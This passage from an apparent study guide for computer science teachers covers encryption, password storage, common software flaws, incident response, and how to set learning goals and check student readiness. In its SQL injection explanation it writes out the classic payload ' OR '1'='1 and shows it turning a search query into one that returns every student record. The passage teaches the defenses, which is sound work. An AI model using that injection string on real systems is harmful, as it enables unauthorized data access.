value never crosses the network, so an eavesdropper who records the whole exchange still doesn't obtain the shared key. The same idea works for sending a large file: encrypt the file with a new AES key, then encrypt that key with the recipient's public key. The fast cipher handles the large file, the public key protects the shared key on its way, and only the recipient's private key can recover it.

Proving who sent it: signatures and certificates

Keeping data secret is one problem, and proving where data came from is another. Encryption alone doesn't identify a sender, because anyone can obtain a public key and encrypt a message with it. A **digital signature** reverses the roles of the keys. It is created with the signer's private key, which only the signer holds, and verified with the signer's public key, which anyone can use.[92] A valid signature demonstrates **authenticity**, that the holder of the private key signed it, and integrity, that the content hasn't changed since. Any change to the signed content makes verification fail, which reveals the alteration, though verification doesn't repair it. Software publishers sign their updates for this reason.

A signature shows that a private key was used, not who was holding it. A private key can't be changed or reset once it is created, so losing it or having it compromised is a serious disadvantage of the method. If a software publisher's signing key is stolen, signatures made with it after the theft are suspect, and the publisher must revoke the key pair, replace it, and inform its customers so that they stop trusting signatures made with the stolen key.

Signatures raise a further question: how do you know that a public key really belongs to the person or site it claims to? **Public key infrastructure (PKI)** answers it with **certificates**, documents issued by trusted **certificate authorities** that bind a public key to an identity. This is how browsers verify the sites they connect to using HTTPS: the site presents a certificate, and the browser checks that an authority it trusts has vouched that the key belongs to that site. A certificate says who holds a key, not that the holder is honest or that its systems are secure. Certificates have validity periods, and an expired certificate triggers a browser warning because it can no longer verify the site's identity, which doesn't mean that data was lost or a key stolen. A **self-signed certificate**, one the site issued to itself, also triggers a warning, since no authority the browser trusts has vouched for it. The whole system depends on trust in the authorities, so a compromised authority is serious: a fraudulent certificate issued in a bank's name binds an attacker's key to the bank, and browsers may accept the attacker's server as the genuine bank without any warning.

Storing passwords

The cryptographic hash described under 0004.b has a second use, protecting stored passwords, and it fits here because it shows a design that gives attackers as little as possible. A site shouldn't store passwords in a form it can read, because a stolen database would then reveal them directly. Instead, it stores a hash of each password, and when a user logs in, it hashes what was typed and compares

[92] MWC2, Sub Rosa: public and private keys in a messaging system.

the results. Two refinements matter. A **salt** is a random value, different for each account, combined with the password before hashing, so that identical passwords produce different stored values and an attacker can't crack them all at once. A slow hash function, such as **bcrypt**, limits how many guesses an attacker can try against a stolen database. A fast hash such as SHA-256 is the wrong tool for this job even with salts, because it is designed for speed and lets an attacker test billions of guesses per second. One consequence is visible to users: a properly designed system can't retrieve your password, only let you reset it, so a site that can email you your current password is storing it in a recoverable form and isn't hashing it.

The limits of encryption

Encryption is strong where it applies, but it applies only to data in a particular place and state. It doesn't protect data if the key or password is compromised: a burglar who takes an encrypted drive along with the note holding its passphrase has everything needed. It doesn't protect data at an **endpoint**, where data must be decrypted to be used, so spyware on a phone can read each message as it is displayed without breaking any encryption. It doesn't hide **metadata**, the records of who contacted whom and when, which can reveal a relationship even when the contents stay secret.[93] Encryption of a device's storage protects a locked or powered-off device, and it does little once the device is unlocked and running, since the files are then accessible to anyone using it. Finally, HTTPS protects data in transit, on its way to a server, not records stored on that server. Each stage where data exists needs its own protection.

The future may bring a new limit. Large **quantum computers** could break widely used public-key algorithms such as RSA, which relies on the difficulty of factoring large numbers, because such machines could factor efficiently. This threat motivates **post-quantum cryptography**, new public-key algorithms designed to resist quantum attack. Planning should begin now for data that must stay secret for decades, because traffic recorded today could be decrypted later when such computers exist. A different technology, **Quantum Key Distribution (QKD)**, uses quantum physics to detect eavesdropping during key exchange, because observing the quantum signal disturbs it. QKD suits high-value links, but it addresses only eavesdropping on key exchange, so it does nothing about, for instance, staff who are tricked into typing their passwords on a fake site. Vendors sometimes advertise products as "quantum-proof," and such claims call for evidence, such as use of openly reviewed algorithms. In keeping with Kerckhoffs's principle, secrecy about an algorithm is a reason for caution, not reassurance. Encryption fails most often through flaws around it, in the software that uses it, and 0004.e turns to those flaws.

- **plaintext**: readable data before encryption
- **ciphertext**: encrypted, unreadable data
- **algorithm**: the procedure used to encrypt and decrypt
- **key**: the secret value that controls encryption and decryption
- **encoding**: a change of form, such as hexadecimal or Base64, that needs no key and isn't encryption

[93] MWC2, Sub Rosa: public and private keys in a messaging system.

- **Caesar cipher**: a cipher that shifts each letter by a fixed amount
- **frequency analysis**: breaking a substitution cipher by matching letter frequencies
- **polyalphabetic cipher**: a cipher that uses a sequence of shifts, so the same letter can be enciphered differently
- **known plaintext**: a known or guessed piece of a message, used to test candidate keys
- **Kerckhoffs's principle**: security should depend on keeping the key secret, not the algorithm
- **symmetric encryption**: one shared key for encryption and decryption, as in AES
- **asymmetric (public-key) encryption**: a key pair in which data encrypted with the public key can be decrypted only with the private key, as in RSA
- **hybrid encryption**: using asymmetric methods to establish a shared key, then symmetric encryption for the data
- **digital signature**: a value created with a private key and verified with the public key, showing authenticity and integrity
- **public key infrastructure (PKI)**: certificates from trusted certificate authorities that bind public keys to identities
- **certificate authority**: an organization trusted to issue certificates
- **self-signed certificate**: a certificate not vouched for by a trusted authority
- **salt**: a random value combined with each password before hashing
- **bcrypt**: a deliberately slow hash function for storing passwords
- **metadata**: data about communication, such as who contacted whom and when
- **post-quantum cryptography**: public-key algorithms designed to resist quantum computers
- **Quantum Key Distribution (QKD)**: using quantum physics to detect eavesdropping during key exchange

Practice questions: 0004.d, page 835.

0004.e Software vulnerabilities

Section 0004.d ended by noting that encryption usually fails through the software around it, and this section is about those weaknesses. It begins with four terms that are easy to blur, vulnerability, threat, exploit, and risk, because they organize everything after them. It then follows a flaw through time, from its discovery as a zero-day to the long period when a fix exists but hasn't been installed. Next come the most important kinds of flaw in code, which share a single root: a program trusts input it should have checked. Weaknesses don't only live in code, so the section then turns to devices and apps that are insecure as configured, and to the software a product inherits from its suppliers. It ends where 0004.c did, with deciding which flaws to fix first.

Vulnerability, threat, exploit, and risk

A **vulnerability** is a weakness, such as a flaw in a program or a password left at its default. A **threat** is a potential source of harm, such as a criminal group or a careless employee. An **exploit** is a method, often a piece of code, that takes advantage of a vulnerability. In a news report about attackers using a tool against a flaw in a web server, the flaw is the vulnerability, the attackers are

the threat, and the tool is the exploit. **Risk** combines the likelihood of harm with its impact, as in 0004.c. These distinctions matter in practice. A vulnerability exists apart from any attack, so a system's record of no incidents doesn't show that it has no flaws. And because likelihood and impact depend on where a flaw sits, the same flaw is a greater risk on a public server holding student records than on an isolated test machine, where few attackers can reach it and little is at stake. For the same reason, **compensating controls**, such as restricting which networks can reach a system, may lower an organization's actual risk by reducing likelihood, although the flaw itself remains until it is fixed.

The life of a flaw

A **zero-day** vulnerability is a flaw that is exploited before a fix is available, so named because the vendor has had zero days to fix it. The label concerns timing; it says nothing about how severe the flaw is, how many systems it affects, or how easy it is to attack. Since there is no patch to apply, the response is to reduce exposure and monitor, for instance by limiting access to an affected portal to the school's internal network and reviewing its access logs daily, until a patch can be deployed. A new password, new hardware, or reinstalling the same software version leaves the flawed code in place. Some researchers sell newly found flaws to brokers instead of reporting them to the vendor, which leaves users exposed to whoever acquires the details, because a vendor can't fix a flaw it doesn't know about.

Once a patch exists, the flaw is no longer a zero-day, and the continuing exposure comes from not installing the fix. In fact, the danger often grows at that point, because a patch shows what was fixed, and attackers can study the changes to build attacks on systems that haven't yet been updated. This is why **unpatched software** is such a common route in. Many successful attacks use known flaws for which patches already exist, which makes regular updating one of the most effective defenses, and when a breach follows a known, patched flaw, the organization's update practice is the main failure. Patching depends on knowing what you have, so the first step for an organization that patches haphazardly is to build an inventory of its hardware and software. Publicly known flaws are tracked under **CVE** identifiers (Common Vulnerabilities and Exposures), standard names such as `CVE-2021-44228` that let notices, vendors, and scanning tools all refer to the same flaw. Some systems can no longer be patched at all, such as an old computer whose vendor has stopped issuing updates. Their flaws will never be fixed, so they should be isolated from general networks while their replacement is planned.

Flaws in code: trusting input

Most of the classic flaws in code share a root cause: a program takes input from outside, from a user, a web form, or a file, and handles it as if it were safe. The input may be too large for the space reserved for it, or it may contain text that the program ends up treating as instructions. The flaws below differ in where the input goes, but their defenses follow the same logic: check input against what is expected, keep data separate from commands, and do the checking somewhere an attacker can't skip.

A **buffer overflow** occurs when input exceeds the memory reserved for it and overwrites adjacent memory. That adjacent memory can include data that controls what the program does next, so a carefully crafted overflow can change a program's instructions. A program or form field that crashes when given extra-long input may be signaling exactly this kind of flaw, which may be exploitable. **Bounds checking** prevents it by rejecting or truncating input that is too large, and the check has to match the space actually reserved. A limit of 200 characters doesn't protect a 20-character space, since a 150-character value passes the check and still overflows. Loops that copy input must stop at whichever comes first, the end of the input or the end of the reserved space. To copy a name into an 8-character space:

```
for (int i = 0; i < name.len AND i < 8; i = i + 1)
```

With `OR` in place of `AND`, or `<=` in place of `<`, a long name still writes to index 8, one position past the end. **Memory-safe languages**, which check bounds automatically or prevent these errors by design, eliminate this class of flaw. Adding memory to the computer does nothing, since it doesn't change the size of the reserved buffer.

SQL injection places database commands in user input that a program adds directly to a query.[94] Suppose a search page builds its query by inserting whatever the user types into `SELECT * FROM students WHERE last_name = '...'`. A user who types `' OR '1'='1` turns the condition into `last_name = '' OR '1'='1'`, which is true for every row, so the query returns every student. That string is a classic test for the flaw. Typing `%` or `*` doesn't have this effect, since with `=` those characters are compared as ordinary text. The main defense is a **parameterized query**, which sends the typed text to the database as a parameter, apart from the command, so that it can only ever be data. Input validation, checking that input matches the expected form, and **sanitizing**, removing or neutralizing characters that have special meaning, add a second layer, while filtering out a single keyword leaves many other crafted inputs available. Validation must happen on the server, because checks in the browser can be bypassed: an attacker controls their own browser and can send requests directly to the server without passing through the page's check. Least privilege limits the damage if injection succeeds, since an injected command can do only what the application's database account is allowed to do, so an account that only reads one table can't delete the others. Detailed database error messages help attackers too, because table and column names help them craft working queries, so the server should keep those details in its logs and show users only a generic message.

Cross-site scripting (XSS) occurs when a site delivers untrusted input as code that runs in other users' browsers. A browser can't tell that a script delivered by a site originally came from another user, so it runs the script with the site's authority. In **stored XSS**, the script is saved on the site, for example in a product review, and reaches anyone who views the page. In **reflected XSS**, the script arrives in the request itself, usually in a crafted link, so it affects those who open the link, though the browser still treats it as coming from the site. A common goal is stealing **session cookies**, the values that identify a logged-in user to the site that issued them, since a stolen session cookie lets an attacker act on the site as that user without the user's password. XSS is prevented by validating input and **escaping output**, converting special characters when a page is generated so that browsers

[94] MWC2, Riddle Server: views, models, fields, subclasses, and an API specification.

display user content as text instead of interpreting it as markup or scripts. Marking session cookies `HttpOnly` adds protection, because such cookies are sent with requests but aren't available to scripts running in the page.

Remote file inclusion occurs when a server executes an uploaded or linked file supplied by an attacker. If input lets a user choose which file the server loads and runs, the attacker can supply the code, and the server will run code the attacker controls. The best mitigation is an **allow list** (also called a white list) of approved content. A page that should load one of ten approved files can map each accepted value to one of those files and refuse everything else, so no input, however crafted, can select anything unknown. A **block list** (blacklist) of forbidden content is weaker, because it misses whatever it doesn't name: a list that blocks `.php` files still lets through `.phtml`, which some servers also run. Uploads need similar care. Store uploaded files in a location from which the server won't execute them, since a nightly scan for malicious files still leaves a window in which one can run. And examine each file's actual contents, handling it as data that never runs, because a file's name and extension can be faked.

Insecure deserialization is a less familiar flaw with the same root. Programs often save objects, such as a user's settings or shopping cart, by serializing them into a format such as **JavaScript Object Notation (JSON)** or **Extensible Markup Language (XML)**, and **deserialization** reconstructs the objects from that data. If the data is under a user's control, for example stored in the user's browser, a user can alter it to trigger behavior the attacker chooses when the server rebuilds the objects, up to **remote code execution**, running the attacker's code on the server. Accepting a simple data format and validating its values against an expected structure limits what crafted data can do. Disguising the data doesn't help: **Base64** is a reversible encoding, not protection, so anyone can decode a value, change it, and encode it again. Data stored on a client needs a cryptographic signature that the server checks on each request, which reveals any change; an encrypted connection protects the data on its way, but not from the client holding it. The risk is lower where untrusted input can't reach the deserializing code at all, though a claim that "only trusted data reaches it" should itself be checked.

Flaws in configuration and permissions

Some weaknesses come not from faulty code but from how a product is set up. Many devices, particularly Internet of Things (IoT) devices such as cameras and smart thermostats, are shipped with **default credentials**, usernames and passwords published in their manuals and online, so anyone can find them and take a device over unless they are changed. Large botnets such as **Mirai** were built this way, from many devices that stayed in service with logins their makers had published. Owners can assign each device its own credentials and restrict which networks can reach it. Makers can do better still by shipping each unit with a unique password or forcing a change at setup, so that no published login works. A related danger is a hidden factory account, a login built in by the maker and not shown to users. It works as a **backdoor**, independent of the password staff changed, so anyone who learns it can get in, and users may be unable to remove it.

Phones and tablets raise the same question at the level of individual apps, through the permissions

they request. An app that asks for permissions unrelated to its function, such as a flashlight app asking for contacts and location, poses a privacy and security risk, and disclosing the sharing in a privacy policy doesn't remove it. Approval by an app store doesn't ensure that an app's permissions fit its purpose. The test is to judge each permission against what the app actually does: a language app's request for the microphone is reasonable if a feature, such as pronunciation practice, depends on it. Granting only the access a function requires, for example allowing the microphone only while the app is in use, limits an app's reach, and when two apps offer the same function, the one with less access creates less risk for students.

Flaws inherited from suppliers

The last kind of weakness enters through software a product didn't write. A **supply chain attack** compromises a trusted vendor, update, or library, so that malicious code reaches all of its downstream users at once. Because the attack targets the trusted source, the usual signs of trust can cover it: if malicious code is added before an update is signed, the valid signature covers the malicious code too. In **typosquatting**, an attacker publishes a malicious package under a name close to a popular one, so that a developer who mistypes it installs the attacker's code. Encryption doesn't help here, since it protects the download even of the wrong package. The defenses are verifying package names and sources and installing from a list of approved versions. Indirect dependencies, the libraries that a product's libraries depend on, are part of the product too, and each one is another route by which flawed or malicious code can arrive. A **software bill of materials (SBOM)**, a list of every component a product uses, lets an organization quickly find which of its products are affected when a flaw is announced in a component. Suppliers can also be routes in a broader sense: a smaller firm may be less well defended than the bank it serves, yet its access to the bank is trusted, so attackers can use it as a route into the better-defended customer.

Deciding what to fix first

No organization can fix every flaw at once, so the reasoning that began this section comes back at its end. Limited effort should go where it reduces the most risk, which means ranking flaws by their severity, the exposure of the systems where they exist, and evidence that they are being actively attacked. By this reasoning, a moderate flaw on an Internet-facing server that attackers are already exploiting can deserve attention before a more severe one on an isolated machine. However careful the prioritization, some attacks will succeed, and 0004.f turns to preventing breaches by design and responding when they happen.

- **vulnerability**: a weakness
- **threat**: a potential source of harm
- **exploit**: a method that takes advantage of a vulnerability
- **compensating control**: a safeguard that reduces the risk of a flaw that hasn't been fixed
- **zero-day**: a flaw exploited before a fix is available
- **CVE identifier**: a standard name for a publicly known flaw
- **buffer overflow**: input that exceeds its reserved memory and overwrites adjacent data

- **bounds checking**: rejecting input that is too large for its reserved space
- **memory-safe language**: a language that prevents out-of-bounds memory access by design
- **SQL injection**: database commands placed in user input that is added directly to a query
- **parameterized query**: a query that sends input to the database separately from the command
- **cross-site scripting (XSS)**: a site delivering untrusted input as code that runs in other users' browsers
- **stored XSS**: a script saved on the site
- **reflected XSS**: a script carried in the request, usually a link
- **escaping output**: converting special characters so that browsers display content as text
- **`HttpOnly`**: a cookie setting that keeps page scripts from reading the cookie
- **remote file inclusion**: a server executing an uploaded or linked file from an attacker
- **sanitizing input**: removing or neutralizing characters in input that have special meaning; input that skips this step is called unsanitized
- **allow list (white list)**: a list of approved items, refusing everything else
- **block list (blacklist)**: a list of forbidden items, allowing everything else
- **deserialization**: reconstructing objects from formats such as JSON or XML
- **remote code execution**: an attacker running code on another system
- **default credentials**: published usernames and passwords that ship with a device
- **backdoor**: a hidden way into a system that bypasses normal authentication
- **supply chain attack**: compromising a trusted vendor, update, or library to reach its users
- **typosquatting**: publishing a malicious package under a name close to a popular one
- **software bill of materials (SBOM)**: a list of the components a product uses

Practice questions: 0004.e, page 856.

0004.f Preventing and responding to breaches

The earlier sections of this part describe how to make attacks less likely, and 0004.e ended by admitting that some will succeed anyway. Organizations prepare for that moment with an **incident response plan**, and the stages of such a plan give this section its structure. The plan covers **preparation**, which happens before anything goes wrong; **identification**, recognizing that an incident is under way; **containment**, limiting the damage; **eradication**, removing the threat; **recovery**, restoring normal operation; and **lessons learned**, improving so that it doesn't happen again. Alongside these stages runs a legal obligation that doesn't fit neatly into any one of them, notifying the people affected. The section follows the stages in order, with notification taken up after recovery.

Preparation

The best preparation reduces what a breach can expose in the first place, so it begins with design. A service can encrypt personal data so that the company itself doesn't hold the means to read it, for example by encrypting each client's notes under a key derived from the client's password that is never stored. If the service can't read the data, a breach or a dishonest insider exposes much less. The cost is the trade-off familiar from 0004.c: if the company can't read the data, it also can't

help a customer who forgets the password recover it, so the files may be lost permanently. Other design choices limit exposure in the same spirit. **Least privilege**, described under 0004.b, gives each account only the access it needs, which limits the harm from a stolen account. **Data minimization** means collecting only the data a service needs, since data that isn't collected can't be exposed: a form that has no reason to ask for a Social Security number should drop the field, so that the number is never collected or stored. And a store can keep a **token** from its payment processor in place of each card number, a stand-in value that is useless anywhere else, so a breach of the store yields no card numbers.

Preparation also means writing the plan before it is needed. A good plan assigns roles and decision authority before any incident occurs, so that nobody has to debate during a crisis who may take a server offline or who speaks to families. It should include contact information and clear responsibilities, and copies of the plan and its contacts should be kept outside the systems at risk, since a plan stored only on the network that ransomware has just encrypted can't be opened when it is needed.

A plan that has never been tried will have gaps, and a **tabletop exercise** finds them. Staff walk through a simulated incident in discussion, without touching real systems, deciding what they would do at each step, and the exercise exposes gaps in the response plan and in communication among staff before a real event. A good scenario is plausible and high-stakes enough to force decisions across roles, such as ransomware encrypting the grading system during the final exam period. Because an incident crosses departments, participants should include leaders, communications staff, legal counsel, and school staff as well as technical staff. Finding gaps is the purpose of the exercise, so the plan should be updated afterward with whatever was missing.

Identification

A breach can't be contained until someone notices it, and much of that noticing happens in **logs**, the records that systems keep of logins, connections, and other events. Particular patterns in logs serve as **indicators of compromise**, evidence that a system has been attacked. Repeated failed logins on an account suggest a password attack, and if a success follows the failures, the attack has probably worked. Small, regular outbound connections from a machine to the same outside server, each answered with a short confirmation reply, suggest **beaconing**, a compromised machine checking in with a **command-and-control server** that can send it instructions; this is the sign of an advanced persistent threat described in 0004.a. Activity at an unusual time, in an unusual volume, and to an unusual destination, such as a large transfer from a staff account to an unfamiliar server at 3 a.m., suggests that the account has been compromised and data is being stolen. Logs help only if someone or something is watching them, so automated alerts on unusual patterns bring these signs to attention as they occur. Attackers often try to cover their tracks by editing logs, so copying each entry to a separate, protected log server keeps evidence where a compromised machine can't change it.

Containment

Once an incident is identified, the first goal is to keep it from spreading, and the first responder is often an ordinary user. When a device appears infected, the right steps are to disconnect it from the network to limit the spread, to avoid paying or interacting with the attacker, and to notify the IT department right away. A user who receives a ransom demand in a chat window should leave it unanswered and report it, so that IT staff can decide on the response with full information. Pop-ups claiming that a computer is infected and offering "help" by phone are often scams, a form of social engineering, so the user should close the page without calling and contact IT through its usual channel. For students, the rule is simpler: stop using the computer and tell a teacher or IT staff immediately, since prompt reporting lets staff contain the problem. Responders sometimes surprise users by keeping an infected machine powered on, though disconnected. Data held in memory may show what happened, and memory contents disappear at shutdown, so leaving the machine running preserves that evidence.

Stolen credentials call for their own containment, because the account itself has become the intruder's way in. After credentials are exposed, change the password promptly, and change it everywhere else it was reused, since stolen pairs are tried on other sites as they are. End active sessions too, because changing a password may not end a session the attacker already has open. Enable MFA, which makes a return harder. Check account settings, since an intruder may leave a rule that forwards mail to an outside address and keeps working after the password changes. And report the incident, even if nothing seems wrong, because stolen credentials may not be used right away and early notice lets IT check and act. Using a different password for every site is what keeps one breach from spreading in the first place.

Eradication and recovery

Containment stops the spread, and eradication removes the threat itself, such as deleting the malware, closing the attacker's accounts, and fixing the flaw they used. The order matters: the threat must be removed before systems are restored, because restoring service before the cause has been removed leaves the same route open for the attacker to return.

Recovery then restores service and confirms that systems work normally, usually by restoring data from backups. The backup must be clean and tested, and it must have been made before the infection began, since a backup taken after the infection may bring the malware back. **Offline backups** are essential, because ransomware can reach and encrypt any copy that stays connected to the network, while an isolated copy is beyond its reach. When many systems are down, restoring the most critical services first limits the harm from the outage. How much recent work is lost depends on **backup frequency**: a grade system backed up nightly can lose up to a day of entries, so the remedy for that gap is running backups more often, since testing and off-site copies, though important, don't close it. Finally, a clean backup restores the flawed software along with the data, so recovery must include patching the original cause, or attackers can return through the flaw that remains.

Notification

Responding to a breach isn't only a technical matter, because the people whose data was exposed have a stake in it, and the law often requires telling them. Organizations may be legally required to notify affected people and authorities after a breach. In New York, these laws include the **SHIELD Act**, which requires breach notice and reasonable data security for private information about state residents, and, for schools, **Education Law 2-d**, which protects student data. A school that suffers a breach of student data must follow the notification requirements of Education Law 2-d and related state law. Using a vendor doesn't remove a school's duties: if a vendor holding student data is breached, the school must still carry out its own notification and response duties while working with the vendor. The purpose of notice is practical, since it lets people take steps to protect themselves, such as watching their accounts or changing passwords. The details depend on the circumstances. Some laws treat properly encrypted data differently, so an organization that lost an encrypted laptop should review the facts with legal counsel instead of assuming it must, or need not, notify.

Lessons learned

The final stage turns an incident into improvement. A **post-incident review** examines how the incident occurred and what should change as a result, then updates safeguards, policies, and training to keep it from happening again. A review should lead to specific changes. If a breach went unnoticed because intrusion alerts went to a mailbox nobody read, the fix is routing alerts to staff who are responsible for reviewing them. **Blameless reviews**, which focus on causes instead of on punishing individuals, make people more likely to give honest accounts of what happened, and honest accounts reveal the causes that need to change. And a review helps only if its findings are acted on, so its recommendations must be tracked through to completion. The lessons then feed back into preparation, the first stage, which is what makes incident response a cycle instead of a one-time event. Cybersecurity, like everything else in this guide, is also something you will teach, and how to teach computing content well is the subject of the next part.

- **incident response plan**: a plan covering preparation, identification, containment, eradication, recovery, and lessons learned, with roles assigned in advance
- **data minimization**: collecting only the data a service needs
- **token**: a stand-in value, such as one from a payment processor, stored in place of sensitive data
- **tabletop exercise**: a discussion-based walk-through of a simulated incident
- **log**: a record of system events such as logins and connections
- **indicator of compromise**: evidence that a system has been attacked
- **beaconing**: small, regular outbound connections from a compromised machine
- **command-and-control server**: a server that sends instructions to compromised machines
- **offline backup**: a backup copy disconnected from the network
- **backup frequency**: how often backups are made, which determines how much recent data can be lost
- **SHIELD Act**: New York law requiring breach notice and reasonable security for residents'

private information
- **Education Law 2-d**: New York law protecting student data, including breach notification
- **post-incident review**: an examination of how an incident occurred and what should change
- **blameless review**: a review focused on causes instead of individual fault

Practice questions: 0004.f, page 873.

0005 Pedagogical content knowledge

The earlier parts describe what a computer science teacher needs to know, and this one describes how to help students learn it. **Pedagogical content knowledge** is the knowledge that joins the two: knowing which ideas in a subject are hard, what students tend to believe about them, and which ways of teaching them work. Its sections follow the arc of designing and teaching a unit, from planning through instruction to assessment. Planning comes first. Section 0005.a starts from a learning goal and works out what students must know and be able to do to reach it, 0005.b asks how to find out where students are in relation to that goal before instruction begins, and 0005.c describes how to connect the goal to the knowledge and experience students bring with them, in ways that respect their cultures and communities. Instruction comes next. Section 0005.d surveys research-based strategies for teaching computing, from worked examples to building personally meaningful projects, and 0005.e explains how to justify a choice of strategy by showing how it actually produces learning. Section 0005.f turns to assessment, gathering evidence of what students have learned and using it to decide what to do next. Section 0005.g closes the part with inclusion and equity, which concern every earlier stage: who has historically been kept out of computing, and how a teacher can design a classroom in which every student has access, support, and a sense of belonging.

0005.a Learning goals

Planning begins with a learning goal, and the first task is to understand the goal well enough to teach toward it. That understanding works at several levels of scale. At the smallest, a goal has to be taken apart into the knowledge and skills it contains. At the level of a single lesson or unit, it has to be written as an objective precise enough that you could tell whether a student met it. At the level of years, it sits in a progression of standards, with foundations before it and more advanced work after. And at every level it has to fit the particular learners, whose age and development shape what kind of work makes sense. This section moves through those levels in turn.

Taking a goal apart

To **unpack** a learning goal, identify the specific knowledge, skills, and vocabulary it requires, separating what students must know from what they must be able to do. One useful question drives the process: what would a student need to know and do in order to show this? Take a goal in which students write a program that awards a bonus when a player's score passes a threshold. Students need to know what a condition is, what comparison operators do, and that a comparison produces a Boolean value, true or false. They must be able to change a stored value when a player earns points,

which is a performance and belongs in the "do" column. Nothing in the goal requires loops, arrays, or functions, so a careful unpacking also shows what can be left out. A list of what students should know is easy to write and often incomplete. Planning notes for a debugging goal that list the relevant vocabulary and concepts but never mention the skill of finding and correcting an error in a faulty program have left out the heart of the goal. Materials and tools matter for planning, too, but they come later, since they aren't what the goal requires of students. Unpacking also exposes demands that hide behind familiar topics. A goal about evaluating data visualizations requires knowing chart types, and it also requires judging how a design choice, such as a shortened axis, changes a reader's conclusion, which students will need to practice.

A framework for what K-12 computer science goals contain makes this kind of unpacking easier. The K-12 Computer Science Framework describes CS learning as a combination of **concepts**, the ideas of the field, such as loops, conditionals, and binary representation, and **practices**, the things computer scientists do with those ideas, such as debugging, testing, and collaborating.[95] Good goals combine the two, so a good objective names what students will do with a concept. "Students will correct a faulty stopping condition in a program that uses a loop" joins a concept, loops, with a practice, debugging. An objective that names only the practice, such as "students will debug programs," leaves unstated which computing ideas students are to use, and one that names only the concept leaves out what they will do. In a unit where students work with a partner to write and test programs using conditionals, conditionals are the concept, and collaborating and testing are practices. Wording doesn't decide the category: a concept is still a concept when phrased with an action verb, as in "students will explore arrays." The distinction also helps diagnose instruction. If students can state what a loop does but can't use one, instruction has probably stressed the idea and given too little practice in applying it.

Writing a measurable objective

Once the goal is unpacked, it can be written as an objective that says what success looks like. A strong objective uses an **observable verb**, states the conditions and the expected performance, and is appropriate to the grade band. Observable verbs name actions that produce something you can examine. "Trace the value of the counter during each pass" produces a record, while "understand," "appreciate," and "know" describe internal states that have to be inferred. The **conditions** are the circumstances of the performance, such as the starting materials students receive, and the **expected performance** is the standard that counts as success. Compare "Students will understand arrays" with "Given an unsorted array, students will write a loop that returns its largest value on all test cases." The second has an observable verb, a stated condition, and a level of performance. Similarly, "Using a provided data set, students will create a bar chart with both axes labeled" gives the materials, an observable action, and a checkable criterion, while a draft asking students to "explore" charts and make them "clear and attractive" doesn't show how a result would be judged. Objectives also describe what students will do, not what the teacher will do, so "the teacher will demonstrate sorting" is a lesson activity and not an objective. Finally, an objective can be observable and precise

[95] LAI 516, Standards: K-12 CS Framework: concepts and practices.

and still be wrong for its students, if the expected performance is too advanced for the grade band.

Placing a goal in a progression

No goal stands alone, because students reach it from somewhere and go on to something else. The New York State Computer Science and Digital Fluency (CS&DF) standards progress across grade bands, so the standards in a concept form a **learning progression**, a sequence showing how an idea develops from early grades to later ones.[96] Looking backward in the progression, to earlier standards in the same concept, helps identify prerequisites. Looking forward shows where learning is headed and what the current work should prepare students to do. If a middle-school standard asks students to write programs with loops and events, a later standard may ask them to organize repeated code into functions with parameters, adding abstraction to the same foundations. When students lack a foundation, the progression shows which one, and the teacher can use earlier-band standards to identify what is missing and teach it in service of the goal, without abandoning the goal itself. Progressions also help at the scale of a school or district. Mapping each course to the standards reveals gaps, where a standard is never taught, and unnecessary repetition, where several courses teach the same thing at the same level. Concepts can and should return across grades, but they should deepen each time they do.

Fitting the goal to the learners

The last level is the students themselves, because the same concept looks different at different ages. Early grades may approach sequence and debugging through unplugged activities, stories, and block-based tools, all of which avoid depending on reading and typing.[97] Young students can learn sequence by ordering picture cards that show the steps of a morning routine, and they can practice debugging by finding the step that sends a floor robot off course, a concrete, physical task. These approaches make real computer science accessible before students can type fluently, which is different from simply having young students use apps, since using apps isn't the same as learning computer science. Older students can work with text-based languages and abstraction, and they may find tools designed for young children off-putting. A high school class that has learned with blocks can move to a text-based language while keeping supports such as starter code to ease the transition. With a goal unpacked, written as an objective, placed in a progression, and fitted to the learners, the next question is where these particular students stand in relation to it, which is the subject of 0005.b.

- **unpacking**: identifying the knowledge, skills, and vocabulary a goal requires
- **concepts**: the ideas of computing, such as loops and conditionals
- **practices**: what students do with concepts, such as debugging, testing, and collaborating
- **measurable objective**: an objective with an observable verb, stated conditions, and an expected performance

[96] LAI 516, Standards: NY CS&DF.
[97] LAI 516, Scope and sequence: early childhood, elementary, and middle-school CS.

- **observable verb**: a verb naming an action that produces examinable evidence, such as `trace` or `write`
- **conditions**: the circumstances of a performance, such as the materials provided
- **expected performance**: the standard that counts as success
- **learning progression**: a sequence of standards showing how an idea develops across grade bands
- **CS&DF standards**: the New York State Computer Science and Digital Fluency standards

Practice questions: 0005.a, page 886.

0005.b Student readiness

A well-defined goal, as 0005.a described, tells you where students are going, and assessing readiness tells you where they are starting. A readiness check has to answer three questions. The first is what students already know and believe about the content, including the mistaken ideas they hold. The second is what they bring from outside the classroom, since much of what students know about computing wasn't learned in school. The third is about the check itself: whether it is measuring computing knowledge at all, or something else, such as reading in English. This section takes the three in order.

What students know and believe

Diagnostic assessment identifies what students already know before instruction begins. It can be a brief pre-assessment, a code-reading task, or an interview with individual students. The most revealing tasks ask students to show their reasoning, and asking students to predict the output of a short program and explain why is especially useful, because a prediction shows how a student thinks code works. "What do you think this code will output, and why do you think so?" reveals far more than asking students how confident they feel, what courses they have taken, or what grades they earned, none of which shows what they can reason through. Similarly, a list of unfamiliar terms to define shows little about reasoning, however long it takes to complete. A diagnostic check should be low stakes, used as ungraded information about what each student knows, since students haven't yet been taught the content and grading it would be unfair; a low-stakes check also gets more honest answers. The results should then be used, especially to group and support students. If half a class traces a loop correctly and half doesn't, reteaching tracing to the whole class ignores what half the class has shown, while forming a group that gets targeted support on tracing, as the others extend their work, responds to the evidence.

Readiness checks should probe for **misconceptions**, mistaken ideas that are common among novice programmers and that instruction must address directly. Three are especially common, and each can be caught with a small, well-chosen task.

The first is treating = as a statement of lasting equality, as it is in mathematics, when in most programming languages it is assignment, a command to store a value. Consider this program:

```
a = 5
```

```
b = a
a = 7
output(b)
```

A student who thinks the second line creates a lasting relationship between `a` and `b` will predict `7`. In fact, the second line copies the value `5` into `b`, so changing `a` afterward doesn't change `b`, and the program outputs `5`. A related difficulty is confusing assignment with comparison: a student who gives one meaning to both uses of the equals sign, storing a value in `x = 3` and checking a value in `if x == 3`, may not yet distinguish the two, and a readiness check should probe whether they do.

The second is assuming that a computer infers intent, acting on what the programmer meant even when it isn't written in code. A student who expects a program to do something stated only in a comment holds this belief, since the computer ignores comments and runs only the statements. Asking the student to trace what each statement actually does with the values shows that a computer does only what is written. A task that relies on a library call would hide the problem, because the student never sees the steps.

